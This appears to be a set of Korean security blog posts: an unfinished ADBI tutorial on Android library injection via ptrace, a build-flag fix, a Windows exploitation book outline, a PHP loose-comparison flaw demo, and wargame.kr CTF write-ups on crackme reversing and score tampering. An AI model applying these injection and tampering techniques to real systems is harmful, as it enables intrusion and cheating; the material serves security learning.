조사 혹은 조작할 함수의 앞 뒤에서 직접 C언어로 프로그래밍을 하면 된다. 후킹 방식은 대상 함수의 첫줄을 변조하여 후킹함수로
점프하여 조작을 수행하는 방식으로 되어있다. 사용자는 후킹함수 내에서 조작을 하거나 값을 조사한 뒤 대상 원본 함수를 후킹할
수도, 아예 호출을 하지 않고 임의의 값을 리턴할 수도 있다.
1. 설치
adbi 를 사용하기 위해서는 먼저 ndk 가 필요하다. ARM 크로스 컴파일 시 ndk 를 이용하기 때문이다.
1) ndk 설치
아래 다운로드 페이지에서 자신의 OS 환경에 맞는 버전을 다운로드 하도록 하자.
http://developer.android.com/intl/ko/ndk/downloads/index.html |
설명에도 나와있듯이 다운로드한 파일에 실행권한을 주고 실행만 해 주면 설치는 끝이 난다.
2) adbi 설치
# git clone https://github.com/crmulliner/adbi |
2. 예제 소스코드 분석
본격적으로 adbi 를 사용해보기 전에 먼저 소스코드를 분석해 보면서 원리를 파악해 보도록 하자.
hyunmini$ tree ./ ./ ├── README.md ├── build.sh // 컴파일 스크립트 ├── clean.sh // 초기화(컴파일 이전으로 복구) ├── hijack │ ├── hijack.c // 라이브러리 인젝션 소스 │ └── jni │ └── Android.mk └── instruments ├── base │ ├── base.c │ ├── base.h │ ├── hook.c // 후킹 소스 │ ├── hook.h │ ├── jni │ │ ├── Android.mk │ │ └── Application.mk │ ├── util.c │ └── util.h └── example ├── epoll.c // instrument 예제 소스 ├── epoll_arm.c // instrument 예제 소스 └── jni └── Android.mk |
1) hijack.c - 라이브러리 인젝션 소스
윈도우 운영체제에서는 DLL 인젝션을 통해 주로 타 프로세스를 조작했는데, 마찬가지 개념으로 *nix 계열 운영체제에서는 so 인젝션을 통해
타 프로세스를 조작할 수 있다. hijack.c 소스코드는 바로 이러한 라이브러리 인젝션을 수행해 주는 코드이다.
라이브러리 인젝션을 위해서 hijack.c 에서는 아래와 같은 방법을 사용한다. 윈도우 DLL 인젝션과 거의 동일하다.
(1) PTRACE 를 이용하여 현재 컨텍스트(레지스트리 등의 정보)를 구한다. 이후 대부분의 과정에서 PTRACE API 를 이용한다.
(2) 인젝션 하려는 라이브러리 이름을 스택 메모리에 쓴다.
(3) 쉘코드(dlopen() 함수를 실행하는)를 스택메모리에 쓴다.
(4) mprotect() 를 호출하여 스택에 실행권한을 부여한다.
(5) pc 레지스터를 스택의 쉘코드의 주소로 변경하여 dlopen() 함수를 강제로 호출한다.
(6) 라이브러리가 대상 프로세스에 강제로 로드되며 후킹 코드가 실행된다.
코드 중 중요한 부분만 살펴 보도록 하자. 조금 내려가다 보면 쉘코드가 보인다. 단순히 레지스터에 스택의 값을 넣어 주는 역할만 한다.
[그림] dlopen 을 실행해 주는 간단한 쉘코드
nop 로 비어있는 부분에는 호출에 필요한 인자값에 맞춰 각각의 값을 넣어주게 된다. 이때도 PTRACE 를 이용하게 된다.
아래로 조금만 더 내려가 보면 메인함수가 시작되고, 아래와 같이 dlopen() 함수의 주소를 구하는 부분이 나온다.
[그림] 동적으로 dlopen 주소 얻기
linker 프로세스에서
(작성중)
'Android Hacking' 카테고리의 다른 글
bypass proxy check using frida (4) | 2017.08.08 |
---|---|
모바일 앱에서 frida timeout error 해결 방법 (1) | 2017.07.26 |
error: only position independent executables (PIE) are supported 에러 해결 (2) | 2016.02.05 |
안드로이드 루팅 탐지 우회 (0) | 2015.08.07 |
Bypass Certificate Pinning - iOS / Android (0) | 2015.01.27 |
error: only position independent executables (PIE) are supported 에러 해결
root@zerofltektt:/sdcard/test # ./hijack
error: only position independent executables (PIE) are supported.
안드로이드에서(아마도 롤리팝 이상인 경우 ELF로더가 PIE를 확인하는 듯) 위와 같이 PIE로 컴파일 되지 않으면 실행되지 않는다는 에러 메시지가 발생한 경우
Android.mk 파일에 아래와 같이 두줄을 간단히 추가해주면 해결된다.
LOCAL_CFLAGS += -fPIE
LOCAL_LDFLAGS += -fPIE -pie
# vi Android.mk
=============================================
1 # Copyright (C) 2009 The Android Open Source Project
2 #
3 # Licensed under the Apache License, Version 2.0 (the "License");
4 # you may not use this file except in compliance with the License.
5 # You may obtain a copy of the License at
6 #
7 # http://www.apache.org/licenses/LICENSE-2.0
8 #
9 # Unless required by applicable law or agreed to in writing, software
10 # distributed under the License is distributed on an "AS IS" BASIS,
11 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 # See the License for the specific language governing permissions and
13 # limitations under the License.
14 #
15 LOCAL_PATH := $(call my-dir)
16
17 include $(CLEAR_VARS)
18 LOCAL_MODULE := base
19 LOCAL_SRC_FILES := ../../base/obj/local/armeabi/libbase.a
20 LOCAL_EXPORT_C_INCLUDES := ../../base
21 include $(PREBUILT_STATIC_LIBRARY)
22
23
24 include $(CLEAR_VARS)
25 LOCAL_MODULE := libexample
26 LOCAL_SRC_FILES := ../epoll.c ../epoll_arm.c.arm
27 LOCAL_CFLAGS := -g
28 LOCAL_SHARED_LIBRARIES := dl
29 LOCAL_STATIC_LIBRARIES := base
30 LOCAL_CFLAGS += -fPIE
31 LOCAL_LDFLAGS += -fPIE -pie
32
33 include $(BUILD_SHARED_LIBRARY)
# make
해결~
'Android Hacking' 카테고리의 다른 글
모바일 앱에서 frida timeout error 해결 방법 (1) | 2017.07.26 |
---|---|
DBI on Android - ADBI(Android Dynamic Binary Instrumentation) (1) | 2016.02.14 |
안드로이드 루팅 탐지 우회 (0) | 2015.08.07 |
Bypass Certificate Pinning - iOS / Android (0) | 2015.01.27 |
안드로이드 프로젝트 기본 구조 (1) | 2012.11.27 |
[집필 서적 안내] 윈도우 시스템 해킹 가이드 : 버그헌팅과 익스플로잇
까페에는 소식을 자주 올렸었는데...블로그에도 공개할 때가 된 듯 하다.
시스템 해킹이 진입 장벽이 높다고 느껴서(실제론 그렇게 높지 않지만) 공부해볼 시도조차 못했던 경우가 많았을 것이다.
혹은, 기초적인 시스템 해킹 공부는 했으나 중급 이상으로 넘어가기 위해 어떤 공부를 해야 할지 가이드가 부족한
경우도 있었을 것이다. 이러한 연유로, 시스템 해킹 초-중급자를 위한 집필을 마음먹고 시작한지 어언 1년..
드디어 윈도우 시스템 해킹 서적이 드디어 인쇄작업에 들어갔다!!
================================================================================================= |
I. 개요 |
1. PC내부구조 |
1.1 컴퓨어의 언어 |
1.2 CPU와 레지스터 |
1.3 메모리구조 |
1.4 스택과 힙 |
1.5 함수 호출과 리턴 |
2. 어셈블리어 기본 |
2.1 어셈블리어 기초 |
2.2 어셈블리어 실습 |
3. 디스어셈블러와 디버거 |
3.1 디스어셈블러 |
3.2 디버거 |
4. 윈도우 실행파일 구조 |
4.1 PE파일 |
4.2 DOS Header |
4.3 PE Header |
4.4 Image Optional Header |
4.5 Section Header |
II. 취약점과 공격 |
1. 소프트웨어 취약점 |
1.1 취약점 |
1.2 취약점의 발견과 패치 |
2. 취약점분류 |
2.1 Memory Corruption 취약점분류 |
3. Exploit 분류 |
3.1 파일포맷 Exploit |
3.2 리모트(원격) Exploit |
III. 쉘코드 원리와 작성 |
1. 쉘코드작성 |
2. 널바이트 제거 |
3. Universial 쉘코드 |
4. 포트바인딩쉘코드작성 |
5. 리버스 쉘코드작성 |
6. 쉘코드 인코딩 |
IV. Exploit 작성 |
1. 스택버퍼오버플로우 Exploit |
1.1 Direct EIP Overwrite |
1.2 Trampoline |
1.3 SEH Overwrite |
2. 힙 버퍼오버플로우 Exploit |
2.1 함수포인터 Overwrite |
2.2 Vtable Overwrite |
3. 정수오버플로우 Exploit |
3.1. 정수 오버플로우 |
3.2. 정수 오버플로우 Exploit |
4. Use-After-Free Exploit |
4.1. Use-After-Free |
4.2. HeapSpray |
4.3. Use-After-Free Exploit |
5. Exploit 작성 자동화 |
5.1 Metasploit 모듈 작성 |
5.2 mona 를 이용한 Exploit 작성 |
V. 방어와 우회기법 |
1. SafeSEH 기법 |
1.1 SafeSEH |
1.2. Non SafeSEH 모듈 이용 |
1.3. 모듈이 로드되지 않은 메모리 영역 이용 |
2. DEP 기법 |
2.1. DEP |
2.2. RTL |
2.3. Chaining RTL |
2.4. ROP |
2.5. ROP 자동화 |
3. ASLR 기법 |
3.1. ASLR 소개 |
3.2. BruteForce |
3.3. Non ASLR 모듈 우회 |
3.4. 부분 Overwrite |
3.5. Info Leak |
VI. 버그헌팅 |
1. 기본방법론 |
1.1 블랙박스 VS 화이트박스 |
1.2 버그 식별 및 평가 |
2. 소스코드 분석 |
2.1 소스코드 리뷰 |
2.2 소스코드 점검툴 |
3. 퍼징(Fuzzing) |
3.1 Dumb 퍼징 |
3.2 Smart 퍼징 |
3.3 파일 퍼저 구현 |
4. 리버싱(Reversing) |
4.1 고급 디버깅 기술 |
4.2 리버싱을 이용한 버그 헌팅 |
4.3 바이너리 디핑 |
# 파일 포맷 퍼징 툴 구현
# 소스코드 오디팅
'Bug Hunting' 카테고리의 다른 글
ActiveX 메소드 powershell 로 확인하기 (0) | 2017.05.25 |
---|---|
Fuzzer 구현 시 First-chance Exception과 Second-chance Exception (0) | 2016.01.07 |
Bug Hunting (1) - Exploitable 취약점 분류 (0) | 2014.04.23 |
PHP "==" 연산자 취약점
문제 풀다 md5 충돌(?) 을 가장한 특이한 문제를 보게 되어 정리해 둔다.
이 문제는 md5 collision 이 발생하는 것이 아닌, php 비교문("==") 의 취약점이라고 볼 수 있다.
"==" 비교 연산자와 "===" 의 연산자는 차이가 있는데, "==" 를 사용하면 아래와 같이 의도하지 않은 엉뚱한 결과가 나온다.
root@kali:~/Desktop/# cat test.php
<?
$v1 = "0e1208123";
$v2 = "0e0956871";
if (($v1) == (($v2))){ echo "equal\n"; }
?>
두개의 문자열이 분명 다름에도 불구하고 아래와 같이 같다고 나온다.
root@kali:~/Desktop/# php test.php
equal
http://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
요약하면 "==" 는 문자가 모두 숫자로 이루어진 경우, 숫자로 변환하여 비교를 하게 되는데,
위와 같은 경우 둘다 0 으로 변환되어 0=0 이 되어 true 가 된다는 것.
'Web Hacking' 카테고리의 다른 글
javascript 로 객체 메소드 목록 확인 (0) | 2016.08.03 |
---|---|
php 의 연산자 취약점 (1) | 2016.07.28 |
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 (1) | 2015.06.21 |
XXE(Xml eXternal Entity) Attack (1) | 2015.02.27 |
SQL Injection Cheat Sheet - MySQL (1) | 2014.09.25 |
wargame.kr - Easy CrackMe(500p)
이번 문제는 리버싱 문제이다. 쉽다고 써있는걸 보니 쉬운가보다.
해당 바이너리는 별 특징 없는 단순한 MFC바이너리이다. MFC 바이너리는 이벤트드리븐
방식으로 동작하므로 원하는 버튼에 연결된 함수를 찾아야 한다.
리소스 해커를 통해 버튼의 리소스 번호를 찾은 뒤 메시지 구조체를 찾으면 쉽게 찾을 수 있다.
struct AFX_MSGMAP_ENTRY { uint nMessage; uint nCode; uint nID; // 리소스ID uint nLastID; // 리소스ID uint_PTR nSig; uint_PMSG pfn; // 핸들러 함수 포인터 } |
주소는 0xf16c0 임을 알 수 있다.
핸들러 함수로 가보면 3가지 정도의 조건문이 나온다.
_my_b 가 포함되어 있는지 검사
wtoi() 함수 실행 결과가 1114 인지 검사
birth 문자열이 들어있는지 검사
이 세개의 조건이 만족해야만 정답을 전송해 주는 듯 하다.
IDA로 보아도 마찬가지로 3번의 조건 검사가 존재함을 알 수 있다.
조건에 맞춰서 전송하면 끝~
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - fly to the moon(500p) (0) | 2016.01.07 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
wargame.kr - fly to the moon(500p)
이번 문제는 자바스크립트 레이싱? 게임이다. 좌우로 움직이며 31337점까지 올리면 클리어되는 문제인데,
소스 자바스크립트가 난독화 되어 있다. 사실 나는 자바스크립트를 분석하는 정공법이 아니라 아주 쉽게
편법으로 풀었는데(패킷을 살펴보고 패킷조작) 그래도 푼 뒤에 상세히 분석을 해 보았다.
위와 같이 난독화 되어 있으며, eval로 난독화 소스를 실행시켜 주고 있다.
주로 악성코드에서 많이 보이는 패턴이다.
어쨌든 이 상태로는 알아볼수가 없기 때문에 난독화 소스부터 deofuscation 해주어야 한다.
간단히 eval 대신 document.write 로 찍어보았다.
deofuscation 은 되었으나 여전히 보기 어렵다.
jsbeautifier.org 를 통해 보기 좋게 indent를 조정해서 보자.
이제 조금 알아 볼 수 있게 생겼다. 코드를 살짝 보면 게임을 시작해서 좌우측벽을 움직이고 점수를
업데이트 하는 소스코드가 보인다. 첫번째 줄에는 출력할 메시지, 소스코드 등이 섞여 있으므로
첫번째 헥스코드를 보기 좋게 다시 찍어보자. 파이썬을 이용했다.
키워드를 보니 어느정도 감이 온다. post 방식으로 ajax를 이용하여 점수를 보내는 것이라
예측이 가능하며, token.php 에서 토큰을 받아온 후 "high-scores.php?token=토큰&score=점수"
와 같은 형식으로 점수가 날아갈 것이다. 실제로 풀이는 이 점수를 바로 조작하여 보내서 클리어 했다.
하지만 조금 더 소스코드를 분석해 보도록 하자.
아래쪽을 살펴보면 전형적인 ajax 코드가 보인다. 첫번째 줄을 이용해서 난독화를 해 두었지만
위의 문자열로 치환한 것을 살펴보면 이 부분이 바로 점수를 전송하는 부분임을 알 수 있다.
함수를 조금 더 쫓아가 보면 score() 함수는 0x8618x6 변수값을 가져오는 것을 확인할 수 있다.
결론. 0x8618x6 을 31337 로 미리 변조하거나,
패킷이 전송될 때 score변수의 값을 31337 로 변조해주면 된다.
'wargame > wargame.kr' 카테고리의 다른 글
wargame.kr - Crypto Crackme Basic (0) | 2017.10.24 |
---|---|
wargame.kr - web chatting (650p) (0) | 2017.09.13 |
wargame.kr - Simpleboard(600) (0) | 2017.09.12 |
wargame.kr - Easy CrackMe(500p) (1) | 2016.01.11 |
wargame.kr - login filtering(450) (0) | 2016.01.06 |
Fuzzer 구현 시 First-chance Exception과 Second-chance Exception
First-chance Exception / Second(last)-chance Exception
'Bug Hunting' 카테고리의 다른 글
ActiveX 메소드 powershell 로 확인하기 (0) | 2017.05.25 |
---|---|
[집필 서적 안내] 윈도우 시스템 해킹 가이드 : 버그헌팅과 익스플로잇 (9) | 2016.01.13 |
Bug Hunting (1) - Exploitable 취약점 분류 (0) | 2014.04.23 |